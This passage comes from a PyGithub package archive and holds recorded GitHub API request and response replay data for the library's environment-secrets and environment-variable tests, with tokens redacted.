rgazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"170ee1c3a1c93b2c97dd0f0dc821fe4ce5f2080039979210ce9b9e1a36a49273"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4840'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '160'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E05E:0B40:105283B:21F4A93:655F7C8E')] {"id":1725665811,"node_id":"EN_kwDOKoE_5s5m25IT","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T16:23:43Z","updated_at":"2023-11-23T16:23:43Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/public-key {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3313fa24bc2d9935629d4340d3d7792786af1326b3ca816f428e28c75e8051ff"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4839'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '161'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E05F:1193:1031324:21AB374:655F7C8F')] {"key_id":"568250167242549743","key":"4/qLofvCiuC34s/NxnkBq9uy1rD9PVl1bx3b84cuIUg="} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_ONE {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4838'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '162'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E060:1193:1031373:21AB410:655F7C8F')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/public-key {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3313fa24bc2d9935629d4340d3d7792786af1326b3ca816f428e28c75e8051ff"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4837'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '163'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E061:4862:10DBE13:2306411:655F7C8F')] {"key_id":"568250167242549743","key":"4/qLofvCiuC34s/NxnkBq9uy1rD9PVl1bx3b84cuIUg="} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_TWO {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '164'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E062:2B48:10F8AC7:23311AD:655F7C8F')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'If-None-Match': 'W/"170ee1c3a1c93b2c97dd0f0dc821fe4ce5f2080039979210ce9b9e1a36a49273"', 'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 304 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"170ee1c3a1c93b2c97dd0f0dc821fe4ce5f2080039979210ce9b9e1a36a49273"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '164'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E063:4FFC:11FB303:2534933:655F7C90')] https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1f2d63c1771ff18e9034443e0407e4d8703b96826ae971debbbd672e8f594eb1"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4835'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '165'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E064:25AA:113B3F0:23C34A2:655F7C90')] {"total_count":2,"secrets":[{"name":"SECRET_NAME_ONE","created_at":"2023-11-23T16:23:44Z","updated_at":"2023-11-23T16:23:44Z"},{"name":"SECRET_NAME_TWO","created_at":"2023-11-23T16:23:44Z","updated_at":"2023-11-23T16:23:44Z"}]} https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_ONE {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4834'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '166'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E065:1193:1031537:21AB7A2:655F7C90')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_TWO {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:45 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4833'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '167'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E066:2B48:10F8C68:2331512:655F7C90')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:45 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4832'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '168'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E067:5687:1086E6F:225B5CF:655F7C91')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testEnvironmentVariable.txt0000644000175100001660000006357514756101563026114 0ustar00runnerdockerhttps GET api.github.com None /repos/AndrewJDawes/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE2A:2E9A:102D813:21A16CA:655F740B')] {"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_u